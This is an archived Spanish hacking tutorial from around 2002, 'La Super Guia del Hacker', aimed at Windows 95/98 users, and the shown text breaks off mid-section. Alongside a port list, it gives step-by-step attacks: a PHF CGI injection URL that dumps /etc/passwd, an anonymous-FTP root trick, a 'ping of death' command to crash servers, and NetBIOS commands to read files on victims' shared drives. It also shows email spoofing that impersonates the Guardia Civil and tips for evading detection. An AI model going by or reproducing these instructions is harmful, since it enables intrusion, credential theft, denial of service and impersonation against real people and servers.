Hwww.oocities.org/ar/monol77/hack2www.oocities.org/ar/monol77/hack2.htmldelayedxJPOKtext/html`3b.HSun, 17 Mar 2002 02:23:35 GMTMozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)en, *J Pagina nueva 1
                                                                   
                      
                      "
                        LA SUPER GUIA DEL HACKER 
                      "
                      ͼ
                              by Nobody          ٺ 
                      ͼ
                      
                      <<<<<<<<<<VERSION DELUXE>>>>>>>>>>>
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
  Nota Del Autor: No me hago responsable de la mala utilizacion de la
                  informacion aqui expuesta ya que tan solo es para fines
                  didacticos.
                  Esta guia es de distribucion libre excepto para las
                  instituciones gubernamentales que deberan abonar 2000 pts
                  a alguna fundacion para apadrinar nios.
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
  - INDICE:
  1 ......................... Que Es Esta Guia Exactamente ?
  2 ......................... Descripcion General De Windows.
   2-1 ...................... Seguridad En Windows.
  3 ......................... Protocolo TCP/IP y Demas Historias.
   3-1....................... Puertos.
   3-2....................... Ftp.
   3-3....................... Telnet.
  4 ......................... Hacking Basico En Windows. 
   4-1 ...................... Phf.
   4-2 ...................... Ftp.
   4-3 ...................... Ping De La Muerte.
   4-4 ...................... Recursos Compartidos.
   4-5 ...................... Fake Mail Con El Telnet.
   4-6 ...................... Cambiando El Entorno.
   4-7 ...................... Finger.
   4-8 ...................... Whois.
   4-9 ...................... Tracert.
   4-10 ..................... Winipcfg.
   4-11 ..................... Ipconfig.
   4-12 ..................... Arp.
   4-13 ..................... Route.
   4-14 ..................... Netstat.
  5 ......................... Utilizacion De Tools.
   5-1 ...................... SkamWerks Lab version 1.1b.
   5-2 ...................... WaReZ! Version 95.12.31.
   5-3 ...................... John the Ripper v1.4.
   5-4 ...................... Gobbler v 2.1.
   5-5 ...................... Sharepasswd.
   5-6 ...................... Snadboy's Revelation v1.1.
   5-7 ...................... Keylog95.
   5-8 ...................... Glide.
   5-9 ...................... Win95 AnonyMail v 1.0.
   5-10 ..................... Hacker's Utility, V 1.02.
   5-11 ..................... Haktek v1.1.
   5-12 ..................... Claymore Brute Force.
   5-13 ..................... Skream's Port Listener V 2.3.
   5-14 ..................... WSOCK32 Winsock Spy Facility Version .91
   5-15 ..................... PWlTool V 4.0.
   5-16 ..................... PwlView V 1.01.
  6 ......................... Medidas De Seguridad.
   6-1 ...................... Protegiendo Nuestro Ordenador.
    6-1 ..................... Ataques Tipicos a Nuestro Windows.
    6-2 ..................... Encriptacion De Nuestra Informacion.
    6-3 ..................... Eliminar Informacion De Forma Segura.
    6-4 ..................... Eliminacion De Virus.
   6-1-1 .................... Protegiendo Nuestras Acciones.
    6-1-1-1 ................. Borrando Nuestras Huellas.
    6-1-1-2 ................. Encriptando Nuestro Correo.
  7 ......................... Sugerencias Para Un Mejor Hacking.
  8 ......................... Obtener Informacion.
  9 ......................... Despedida.
   9-1 ...................... Agradecimientos.
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
  1. Que Es Esta Guia Exactamente ?
  Esta guia esta enfocado hacia todo aquel que quiere ser hacker pero no
  quiere aprender unix o no lo sabe manejar (grave error). Pues por esta
  razon esta guia esta enfocada a los usuarios de windows, principalmente
  los de win95/98. Por el contrario esta guia no se dedicara al NT o Unix,
  aunque por supuesto se hara referencia a estos sistemas sobre todo cuando
  son estos mismos Sistemas Operativos en los cuales se centraran nuestros
  actos, supuestamente legales :)
  Todo esto que digo puede sonar tonterias y puedes pensar que en win95/98 no
  podras llegar a ser un gran hacker porque es necesario conocer unix, y
  estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para
  hacer sus pinitos a aquellos que solo saber usar win95/98, yo por mi parte
  aconsejo aprender unix por varias razones que no viene a cuento en esta
  guia.
  Con esta guia te convertiras en un magnifico Hacker usando un sistema que
  no es propenso al hacking. Como es normal al usar win95/98 estaremos muy
  limitados en muchos aspectos pero podras aprender por ejemplo, algunos
  bug que podras usar en tu favor, la utilizacion de diversas herramientas
  hacker que no estan disponibles generalemente en win95/98 y ademas a usar
  los recursos que te ofrece Internet en tu favor, abreviando un poco tanta
  charla, llegaras a conocer la red de una forma diferente y a manejar
  win95/98 de forma distinta a lo conocido hasta ahora.
  Esta es la version Deluxe, de mi conocida guia LA SUPER GUIA DEL HACKER, la
  cual a sido revisada y actualizada, algunas herramientas como el Bo o Netbus
  no seran explicadas debido a que son realmente faciles de usar y ademas
  disponen de gran variedad de opciones y me saldria un documento monstruoso.
  Al igual que me he dejado muchas cosas, que a lo mejor gustaria que
  explicara pero realmente es imposible explicarlo todo, ademas el espiritu
  hacker es aquella persona que simplemente quiere conocer pero debe
  investigar por si misma, de nada sirve que este todo hecho. Por eso os digo:
                 "Si juegas a Hacker, piensa como un Hacker."
        Surfeando por Internet, he encontrado esta guia pasada a HTML y lo
  mas curioso es que han quitado mi nick del documento (que raro };-), pues
  para estos plagiadores, aqui teneis la version Deluxe para que la volvais
  a copiar!!!!!
  2. Descripcion General De Windows.
  Como todos sabemos el windows95/98 es un popular sistema operativo de la
  casa Microsoft, el cual es conocido tanto por sus adepto ya que es muy
  sencillo y vistoso pero al igual tambien es muy conocido por su inseguridad
  en casi todos sus aspectos, ademas no ofrece tanta versativilidad como otros
  sistemas operativos. Por ejemplo este es el caso de su "Multitarea" la cual
  es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y
  ejecuta otro programa :) y veras esa famosa Multitarea.
  El win95/98 es un sistema operativo de 32 bits multitarea, que es muy comodo
  para la gente que busca facilidad, pero no te engaes pensando que es un
  sistema ideal para Internet, puede que para un usuario convencional le sea
  estupendo pero para un Hacker se queda muy corto de calle, ya que le falta
  muchos servicios que otros sistemas operativos si traen como el que ya
  tantas veces he repetido, el Unix (se nota que me encanta??:).
  Aqui os dejo de dar la murga sobre win95/98 ya que este texto no esta
  destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no
  creo que este contando nada nuevo sobre windows o sea que mejor me callo y
  si no sabes mucho sobre win95/98, pues ya sabes comprate un libro.
   2-1. Seguridad En Windows.
  Como todos sabemos la seguridad en win95/98 es nula, es decir, win95/98 no
  tiene seguridad por si mismo, un claro ejemplo de esto que es las ventanas
  que nos piden un password las podemos cerrar pulsando sobre la X o tambien
  nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana
  sin meter ningun password. 
  Por eso para que nuestro ventanas (nombre que se le da a win95/98 :)
  tendremos que instalarle algun paquete de seguridad disponible por la red,
  que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque
  siempre puedes comprar algun paquete comercial de seguridad, en mi opinion
  alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y
  cuando llega la oportunidad de demostrar su calidad nos falla, ya que no
  hay nada seguro 100%.
  Proteger nuestro win95/98 es cosa de cada uno pero tranquilidad, que la cosa
  no es muy dificil, es cuestion de estar atento a las novedades, en otras
  palabras estar informado. Mas abajo ya te entereras de estas cosas.
  3. Protocolo TCP/IP y Demas Historias.
  El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que
  engloba casi todos los servicios que solemos usar como por ejemplo cuando
  hacemos telnet, mail, ftp o cualquier cosa.
  TCP/IP proviene de Transmission Control Protocol y Internet Protocol
  respectivamente. Por fortuna para los usuarios de win95/98, este protocolo
  ya viene incorporado nativamente en el sistema, al contrario que ocurria
  con el windows 3.x, el cual lo teniamos que instalar para poder conectar
  a Internet.
  Como has podido comprobar en realidad son 2 protocolos pero que estan
  unidos, el primero o sea el TCP es el encargado de las comunicaciones y de
  la transmision de los paquetes cuando estamos conectados a un servidor. El
  IP es el encargado de que los paquetes llegen a destino por orden aunque
  tomen caminos diferentes.
                     * Diagrama del TCP *   
        cliente ->  El cliente le envia una  -> servidor
                    solicitud de conexion
                    espeficicando el puerto
                    de conexion al servidor.
        cliente <-  El servidor le responde  <- servidor
                    que conoce su peticion
                    de conexion.
        cliente ->  El cliente le devuelve   <- servidor
                    otra vez la peticion y
                    el circuito ya esta
                    abierto.
                     * Diagrama del IP *
       Informacion generalDireccion IPDireccion IPDatos 
       de cabezera.       de origen   de destino.      
  Pues aqui se acaba la explicacion basica de este protocolo, para el que
  este interesado en profundizar le remito a que se pille el RFC 1180 o un
  fichero disponible en multitud de servidores, desgraciadamente no te puede
  asegurar el nombre del fichero ya que lo he encontrado de varias formas
  pero te dare el nombre que aparece al editarlo, ya que en todos es igual:
  
                             Introduction
                                  to
                        the Internet Protocols
                      C                       R
                              C       S
                  Computer Science Facilities Group
                              C       I
                      L                       S
                               RUTGERS
                  The State University of New Jersey
                             3 July 1987
  
   3-1. Puertos
  Antes ya os he explicado muy brevemente la comunicacion del protocolo en
  cuestion. Pues ahora os pongo una extensa lista sobre los distintos
  puertos y sus servicios correspondientes. 
    echo                7/tcp
    echo                7/udp
    discard             9/tcp    sink null
    discard             9/udp    sink null
    systat             11/tcp
    systat             11/tcp    users
    daytime            13/tcp
    daytime            13/udp
    netstat            15/tcp
    qotd               17/tcp    quote
    qotd               17/udp    quote
    chargen            19/tcp    ttytst source
    chargen            19/udp    ttytst source
    ftp-data           20/tcp
    ftp                21/tcp
    telnet             23/tcp
    smtp               25/tcp    mail
    time               37/tcp    timserver
    time               37/udp    timserver
    rlp                39/udp    resource      # resource location
    name               42/tcp    nameserver
    name               42/udp    nameserver
    whois              43/tcp    nicname       # usually to sri-nic
    domain             53/tcp    nameserver    # name-domain server
    domain             53/udp    nameserver
    nameserver         53/tcp    domain        # name-domain server
    nameserver         53/udp    domain
    mtp                57/tcp                  # deprecated
    bootp              67/udp                  # boot program server
    tftp               69/udp
    rje                77/tcp    netrjs
    finger             79/tcp
    link               87/tcp    ttylink
    supdup             95/tcp
    hostnames         101/tcp    hostname      # usually from sri-nic
    iso-tsap          102/tcp
    dictionary        103/tcp    webster
    x400              103/tcp                  # ISO Mail
    x400-snd          104/tcp
    csnet-ns          105/tcp
    pop               109/tcp    postoffice
    pop2              109/tcp                  # Post Office
    pop3              110/tcp    postoffice
    portmap           111/tcp
    portmap           111/udp
    sunrpc            111/tcp
    sunrpc            111/udp
    auth              113/tcp    authentication
    sftp              115/tcp
    path              117/tcp
    uucp-path         117/tcp
    nntp              119/tcp    usenet        # Network News Transfer
    ntp               123/udp    ntpd ntp      # network time protocol (exp)
    nbname            137/udp
    nbdatagram        138/udp
    nbsession         139/tcp
    NeWS              144/tcp    news
    sgmp              153/udp    sgmp
    tcprepo           158/tcp    repository    # PCMAIL
    snmp              161/udp    snmp
    snmp-trap         162/udp    snmp
    print-srv         170/tcp                  # network PostScript
    vmnet             175/tcp
    load              315/udp
    vmnet0            400/tcp
    sytek             500/udp
    biff              512/udp    comsat
    exec              512/tcp
    login             513/tcp
    who               513/udp    whod
    shell             514/tcp    cmd           # no passwords used
    syslog            514/udp
    printer           515/tcp    spooler       # line printer spooler
    talk              517/udp
    ntalk             518/udp
    efs               520/tcp                  # for LucasFilm
    route             520/udp    router routed
    timed             525/udp    timeserver
    tempo             526/tcp    newdate
    courier           530/tcp    rpc
    conference        531/tcp    chat
    rvd-control       531/udp    MIT disk
    netnews           532/tcp    readnews
    netwall           533/udp                 # -for emergency broadcasts
    uucp              540/tcp    uucpd        # uucp daemon
    klogin            543/tcp                 # Kerberos authenticated rlogin
    kshell            544/tcp    cmd          # and remote shell
    new-rwho          550/udp    new-who      # experimental
    remotefs          556/tcp    rfs_server rfs# Brunhoff remote filesystem
    rmonitor          560/udp    rmonitord     # experimental
    monitor           561/udp                  # experimental
    garcon            600/tcp
    maitrd            601/tcp
    busboy            602/tcp
    acctmaster        700/udp
    acctslave         701/udp
    acct              702/udp
    acctlogin         703/udp
    acctprinter       704/udp
    elcsd             704/udp                  # errlog
    acctinfo          705/udp
    acctslave2        706/udp
    acctdisk          707/udp
    kerberos          750/tcp    kdc          # Kerberos authentication--tcp
    kerberos          750/udp    kdc          # Kerberos authentication--udp
    kerberos_master   751/tcp                 # Kerberos authentication
    kerberos_master   751/udp                 # Kerberos authentication
    passwd_server     752/udp                 # Kerberos passwd server
    userreg_server    753/udp                 # Kerberos userreg server
    krb_prop          754/tcp                 # Kerberos slave propagation
    erlogin           888/tcp                 # Login and environment passing
    kpop             1109/tcp                 # Pop with Kerberos
    phone            1167/udp
    ingreslock       1524/tcp
    maze             1666/udp
    nfs              2049/udp                  # sun nfs
    knetd            2053/tcp                  # Kerberos de-multiplexor
    eklogin          2105/tcp                  # Kerberos encrypted rlogin
    rmt              5555/tcp    rmtd
    mtb              5556/tcp    mtbd          # mtb backup
    man              9535/tcp                  # remote man server
    w                9536/tcp
    mantst           9537/tcp                  # remote man server, testing
    bnews           10000/tcp
    rscs0           10000/udp
    queue           10001/tcp
    rscs1           10001/udp
    poker           10002/tcp
    rscs2           10002/udp
    gateway         10003/tcp
    rscs3           10003/udp
    remp            10004/tcp
    rscs4           10004/udp
    rscs5           10005/udp
    rscs6           10006/udp
    rscs7           10007/udp
    rscs8           10008/udp
    rscs9           10009/udp
    rscsa           10010/udp
    rscsb           10011/udp
    qmaster         10012/tcp
    qmaster         10012/udp
   
  La verdad es que no te quejaras :) de esta lista. Si quieres mas
  informacion sobre los puertos con su debida explicacion mirate el RFC 1060.
   3-2. Ftp.
  Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol
  o sea Protocolo de Transferencia de Ficheros y como podras observar en el
  listado de los puertos al FTP le corresponde el 21. Este servicio hay que
  conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros
  tambien nos puede ayuda en nuestros propositos :), por supuesto el hacking.
  Sino dispones de ningun cliente FTP, el propio win95/98 lleva incorporado
  uno, el unico problema es que no es muy vistoso ya que funciona en modo
  MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta
  que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y
  se pondra en modo FTP. Un ejemplo seria esto:
  c:\>ftp   <- Escribimos FTP.
  ftp>      <- activado el modo FTP.
  Si no sabes manejarlo, escribiendo un "?" o "help" saldran todos los
  comandos disponibles del FTP, como no viene a cuento no los explicare pero
  buscando por hay podras hallar informacion de lo que hace cada cosa pero
  lo mejor es que lo averigues tu solito.
   3-3. Telnet.
  Por suerte los usuarios de win95/98 con el telnet tienen mas suerte o menos
  segun se mire, ya que el servico de Telnet de win95/98 que tambien esta
  incorporado en el sistema, es muy facil de manejar y ademas tiene ventana
  propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que
  tenemos que hacer es ir al menu en la opcion "conectar" y dentro de aqui
  la de "sistema remoto", entonces se activara otra ventana en la que
  nos saldra tres opciones, la primera "nombre de host" es donde queremos
  conectar, "puerto" a que puerto conectamos, por defecto el 23 y por ultimo
  tenemos "tipo de terminal" que no hace falta cambiarlo.
  El telnet es importante ya que es asi como entramos a una cuenta en un
  servidor y podremos hacer lo que tengamos permitido en el sistema.
  Logicamente entraremos en una cuenta si tenemos el login y password.
  4. Hacking Basico En Windows. 
  Por fin ya se a acabo el latazo de la explicacion de como moverse por
  win95/98. Ahora ya podemos empezar a jugar un poco por inet :), siempre
  por puro placer pero jamas con malos fines.
  En esta seccion os explicare varias maneras de hacking usando el win95/98 a
  pelo o sea sin utilizar ninguna herramienta externa.
   4-1. Phf.
  La primera tecnica ya es muy conocida y la verdad es que tendremos suerte
  si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay
  que saber buscar y tener paciencia.
  Para que esto nos funcione solo tenemos que tener un navegador instalado
  en nuesto win95/98, por defecto suele venir el IE o sea que no podras decir
  que no tienes, siempre y cuando hallas instalado los paquetes extras.
  Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que
  corra sobre unix (muchos). Conectamos con un servidor en cuestion,
  www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le
  aadimos:
  http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  Como ya he dicho si todo sale bien nos aparecera el fichero de passwords
  del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto
  el PHF tiene muchas variantes por eso te aconsejo que busce algo que
  profundice en esta tecnica al igual que tambien busca informacion sobre
  el fichero passwd de unix para comprenderlo.
   4-2. Ftp.
  Antes ya te he explicado el funcionamiento del FTP de win95/98, ahora lo
  usaremos para sacer el fichero de password de un servidor. Desde una
  ventana del MS-DOS llamamos al programa FTP y escribimos:
  ftp> open victima.com
  Conect to victima.com
  220 victim.com FTP server ready.
  ftp> quote user ftp
  331 Guest login ok, send ident as password.
  ftp> quote cwd ~root
  530 Please login with USER and PASS.
  ftp> quote pass ftp
  230 Guest login ok, access restrictions apply.
  ftp> dir (o lo que querramos)
  Y como siempre es el caso si todo sale bien estaremos metidos en el
  sistema como root (en lenguaje unix significa el superusuario, o sea el
  que controla el servidor). Por desgracia esta tecnica es muy antigua por
  lo que mas seguro no funcionara pero todo es posible.
   4-3. Ping De La Muerte.
  Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir
  Cracker para no ofender a nadie :) ya que unicamente sirve para tirar un
  servidor o sea que se desconecta de Internet y esto puede representar
  grandes perdidas a una empresa. Con esto solo os quiero decir que aunque
  aqui os lo explicare no es cuestion que lo useis por Internet atacando
  servidores.
  La utilidad Ping sirve principalmente para saber si un servidor esta activo
  y ademas podemos calcular el trafico en la red segun el tiempo de su
  respuesta. Basicamente se le envia un paquete a un servidor y este nos
  contesta, solo que si se le envia un paquete muy grande puede llegar
  desordenado, por lo que el servidor pide al origen que le vuelva a enviar
  una parte o la totalidad del paquete, por lo que se produce un datagrama
  del ping muy grande y producira su caida. Para ejecutar este ataque solo
  tenemos que escribir :
  c:\>ping -l 65510 victima.com 
  Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes
  de hacer tonterias leed la parte sobre seguridad de la guia.
   4-4. Recursos Compartidos.
   
  Como win95/98 NO tiene seguridad nos permite colarnos en el disco duro de
  otra persona por Internet y lo mejor del caso es que esta tecnica nos la
  proporciona los propios programas del win95/98. Por supuesto no todo es tan
  sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala
  configuracion del propio usuario al no configurar adecuadamente los
  recursos compartidos de su red corriendo sobre win95/98.
  Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador
  bien configurado, o sea el compartir recursos bien puesto y tambien tener
  el Netbios instalado. Para configurarlo, tenemos que tener activado la
  opcion de "compartir ficheros e impresoras" en MIPC->Panel de Control->Red.
  SI por el caso la opcion esta desactivada simplemente pulsamos el boton de
  "aadir" y aadimos el servicio "Compartir ficheros e impresoras en redes
  Microsoft". En la misma ventana, debemos tener el "Primer inicio de sesion"
  en "Cliente para redes Microsoft". Tambien tiene que estar activado el
  "Cliente para redes Microsoft", que viene por defecto en MIPC->Acceso
  Telefonico a Redes->Conexion a Inet que usaremos->boton derecho->
  propiedades, debiendo estar activada la casilla "conectarse a la red".
  Ahora ya podemos ponernos manos a la obra, entonces volvemos a una
  ventana del MS-DOS y ejecutamos:
  c:\>nbtstat -A (IP DE LA VICTIMA)
 
    NetBIOS Remote Machine Name Table
    Name               Type         Status
    ---------------------------------------------
    VICTIMAMACHINE    <00>    UNIQUE     Registered
    VICTIMAGROUP      <00>    GROUP      Registered
    VICTIMAMACHINE    <03>    UNIQUE     Registered
    VICTIMAMACHINE    <20>    UNIQUE     Registered
    VICTIMAGROUP      <1E>    GROUP      Registered
    MAC Address = 44-45-53-54-00-00
  Cuando ejecutamos este comando nos saldra una tabla como esta y el
  primer 'UNIQUE' de tipo <00> es el nombre de la victima y como puedes
  ver la maquina se llama VICTIMAMACHINE.
  Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso
  encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP
  y el nombre de la maquina en cuestion, esto seria de la siguiente forma:
  c:\>edit c:\windows\system32\LMHOSTS
    VICTIMAMACHINE
  Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos
  un comando para aadir el ordenador de la victima a nuestro Netbios y
  esto seria de la siguiente forma:
  
  c:\>NBTSTAT -R
  Ahora nos interesa saber que recursos comparte la victima y esto tampoco
  nos traera complicacion alguna:
  c:\>net view \\VICTIMAMACHINE
   Shared resources at \\VICTIMAMACHINE
   Sharename    Type         Comment
   -----------------------------------------
   BANCO        Disk
  Y como podemos observar comparte una carpeta llamada BANCO.
  Ahora ya podemos operar como si fuese una terminal mas en nuestra red local
  sobre win95/98. Ya solo nos queda ejecutar el comando que querramos, si por
  ejemplo queremos ver el contenido, solo tenemos que escribir:
  c:\> dir \\VICTIMAMACHINE\BANCO
  O para leer cualquier fichero de la carpeta:
  c:\> type \\VICTIMAMACHINE\BANCO\CUENTABANCARIA.TXT
  Si queremos conectar al recurso compartido de forma grafica (o sea con
  una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar
  INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible
  si hemos aadido la VICTIMAMACHINE a una unidad de red a la que podamos
  llamar, deberemos ejecutar:
  c:\>NET USE e: \\MIPC\WINDOWS
  Esta tecnica solo funciona si la maquina remota ejecuta win95/98 o win 3.11
  y ademas comparte las carpetas sin contrasea en modo "Acceso a nivel
  compartido" MIPC->Panel de control->Red | Control de acceso. Si utilizase
  el "Acceso a nivel de usuario" nuestro grupo debe estar autorizado en
  esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina
  para que este autorizada, esto lo conseguiremos con el Regedit, por
  desgracia los sistemas win95/98 y OSR2 que estan ejecutando el Servidor Web
  Personal de Microsoft desactivan esta posibilidad de acceso remoto tras
  informar de la conveniencia de hacerlo al usuario, ya que el servidor web
  obliga a compartir carpetas aun sin tener red local.
  Logicamente un usuario que haya tenido el despiste de conectarse a Internet
  con carpetas compartidas no toma luego medidas de control sobre quien
  entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser
  pillados si por ejemplo un usuario ejecuta el programa Netwatch, que
  muestra los usuarios conectados a nuestra computadora en cada momento y por
  supuesto el nombre de las computadoras por lo que es aconsejable cambiar el
  nombre de nuestra computadora usando el Regedit. Si nuestra maquina se
  llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con
  el Regedit a un nombre menos sospechoso.
  Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra
  computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos
  una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se
  dara cuenta de nuestra entrada. Tambien hay que decir que si la
  VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo
  "hay otros usuarios conectados a su ordenador, si apaga se desconectaran"
  si ocurre esto seremos pillados.
  Decir que el comando Net, dispone de muchos parametros que nos puede ser
  utiles y ademas podemos jugar durante mucho tiempo con ellos :) los cuales
  son los siguientes:
  c:\>net /?
  For more information about a specific Microsoft NET
  command, type the command name followed by /?
  (for example, NET VIEW /?).
  NET CONFIG   Displays your current workgroup settings.
  NET DIAG     Runs the Microsoft Network Diagnostics program to
               display diagnostic information about your network.
  NET HELP     Provides information about commands and
               error messages.
  NET INIT     Loads protocol and network-adapter drivers without
               binding them to Protocol Manager.
  NET LOGOFF   Breaks the connection between your computer and
               the shared resources to which it is connected.
  NET LOGON    Identifies you as a member of a workgroup.
  NET PASSWORD Changes your logon password.
  NET PRINT    Displays information about print queues
               and controls print jobs.
  NET START    Starts services.
  NET STOP     Stops services.
  NET TIME     Displays the time on or synchronizes your computer's
               clock with the clock on a Microsoft Windows for
               Workgroups, Windows NT, Windows 95, or NetWare time server.
  NET USE      Connects to or disconnects from a shared
               resource or displays information about
               connections.
  NET VER      Displays the type and version number of the
               workgroup redirector you are using.
  NET VIEW     Displays a list of computers that share
               resources or a list of shared resources
               on a specific computer.
  The command was completed successfully.
  Pues aqui teneis todos los parametros disponibles del comando Net, por lo
  que solo nos queda jugar un rato para saber que es cada cosa. No es
  divertido si os lo explico todo.
   4-5. Fake Mail Con El Telnet.
  Esta tecnica nos ayuda a suplantar la direccion de correo electronica que
  querramos :). La verdad es que tiene pocos usos, en mi opinion debido a
  una serie de razones pero siempre puede servir para gastar una buena
  broma enviando aun amigo un mail del director de la Universidad diciendo
  que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la
  Guardia Civil.
  La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar
  unas ciertas medidas de seguridad, que ya explicare luego. Lo primero
  que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del
  Telnet ya lo explique mas arriba) y donde pone "puerto" en vez de poner
  el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos
  a que nos conectemos a ese puerto, cuando conectemos nos saldra un
  mensaje y esta esperando a que pulsemoa alguna tecla:
    220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)
    [d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT) 
  Muchas veces lo que podemos hacer es escribir "help" y saldran todos los
  comandos, tambien podemos escribir "echo" y la maquina nos contestara que
  esta lista. Para escribir un mail hay que seguir una serie de pasos:
   mail from:gc.uco@mad.servicom.es <- ponemos de donde viene.
  El servidor nos contesta:
   250 <gc.uco@mad.servicom.es> ... Sender Okay 
  Ahora escribimos:
   rcpt to:nob_ody@xxxxxxxx.com <- a quien se lo enviamos.
  El servidor nos contesta:
 
   250 <nob_ody@xxxxxxxx.com> ... Recipiant Okay 
  Ahora escribimos:
   data 
  El servidor nos contesta:
   354 Enter mail, end with "." on a line by itself 
  Ahora escribimos:
   To: nob_ody@xxxxxxxx.com 
   From: gc.uco@mad.servicom.es 
   Subject: Te querremos!! 
   Bueno nobody, solo te queremos decir que nos gusta tu trabajo y te
   querremos fichar para el departamento.
                                              Direccion General de
                                                la Guardia Civil
   .  <- para terminar el mail.
 
  El servidor nos contesta:
   250 Mail accepted 
  Ahora escribimos:
   quit  <- ya esta todo listo :)
  Pues ves como es realmente simple!! Pero antes de empezar a jugar con
  esta tecnica tenemos que asegurarnos que el servidor de mail no regrista
  nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a
  alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail
  sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet
  sobre servidores que permiten hacer esto.
   4-6. Cambiando El Entorno.
  Esta tecnica no es que sea propia del hacking ya que solo sirve para
  cambiar la pantalla de inicio o la de finalizar windows. Los logos de
  windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros
  con extension SYS pero siguen siendo realmente BMP'S.
  El logo del principio de windows (ya sabes el de las nubes) lo podeis
  encontrar como:
  c:\>logo.sys
  Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo
  y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro
  grafico y si lo volvemos a quitar, usara el de siempre. El logo del final
  (cuando cierra windows) esta en el directorio windows y lo podemos
  encontrar como:
  c:\windows>logos.sys
  Logicamente es obligatorio que los graficos que querramos sustituir
  tengan de tamao 320x400 y sean ficheros BMP'S. Conviene que les pongamos
  el atributo de ocultos, que esto se hace con el comando Attrib, por
  ejemplo:
  c:\windows>attrib +h logos.sys <- lo oculta.
  c:\windows>attrib -h logos.sys <- lo hace visible.
   4-7. Finger.
  La utilidad Finger, muy usada en Unix, en realidad no esta disponible en
  Win95/98 pero como somos Hackers nosotros si que somos capaces desde
  Win95/98. Finger se utiliza para obtener informacion de un servidor. Puede
  parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los
  Login's de los usuarios y empezar a adivinar sus passwords, tambien podemos
  vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la
  ultima vez que estuvo, etc...) y asi muchas cosas.
  La verdad es que para usar el Finger usaremos cualquier navegador, IE o
  Netscape. Simplemete nos dirigimos a un url un poco especial, es un web
  que permite hacer Finger a cualquier host y nos deveulve los resultados.
  Esto se conoce como "Finger Gateway". El url del web es:
  http://www.hgp.med.umich.edu/cgi-bin/finger
   
   4-8. Whois.
  La utilidad Whois, al igual que Finger es muy comun en Unix y no esta
  disponible en Win95/98 pero comos somos asi de listos saldremos del apuro.
  Tambien sirve para pedir informacion de un servidor pero no el igual que
  Finger, ya que se diferencian en el tipo de informacion, el finger se suele
  utilizar mucho para buscar direcciones de correo mientras que el Whois,
  para averiguar informacion sobre un servidor en concreto.
  Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un
  host muy especial:
  c:\>telnet whois.internic.net
  Por supuesto Internic, una empresa privada norte ameriacana que se
  encarga de controlar los dominios de Internet, y podemos usar su base
  de datos para pedir informacion sobre un servidor.
  Cuando conectemos a la base de datos de Internic, escribimos "Whois nombre_
  del_servidor" y nos sacara la informacion.
   telnet InterNIC > whois aol.com
   Connecting to the rs Database . . . . . .
   Connected to the rs Database
   America Online (AOL-DOM)
   12100 Sunrise Valley Drive
   Reston, Virginia 22091
   USA
   Domain Name: AOL.COM
   Administrative Contact:
      O'Donnell, David B  (DBO3)  PMDAtropos@AOL.COM
      703/453-4255 (FAX) 703/453-4102
   Technical Contact, Zone Contact:
      America Online  (AOL-NOC)  trouble@aol.net
      703-453-5862
   Billing Contact:
      Barrett, Joe  (JB4302)  BarrettJG@AOL.COM
      703-453-4160 (FAX) 703-453-4001
   Record last updated on 13-Mar-97.
   Record created on 22-Jun-95.
   Domain servers in listed order:
   DNS-01.AOL.COM               152.163.199.42
   DNS-02.AOL.COM               152.163.199.56
   DNS-AOL.ANS.NET              198.83.210.28
  
  Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto
  es lo que nos ha sacado Internic. Al final podemos ver los dominios
  asociados a AOL. Pues sencillo y muy util, el whois.
                                                     
   4-9. Tracert.
  Esta utilidad que si esta implementada en Win95/98, nos sirve para calcular
  el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos
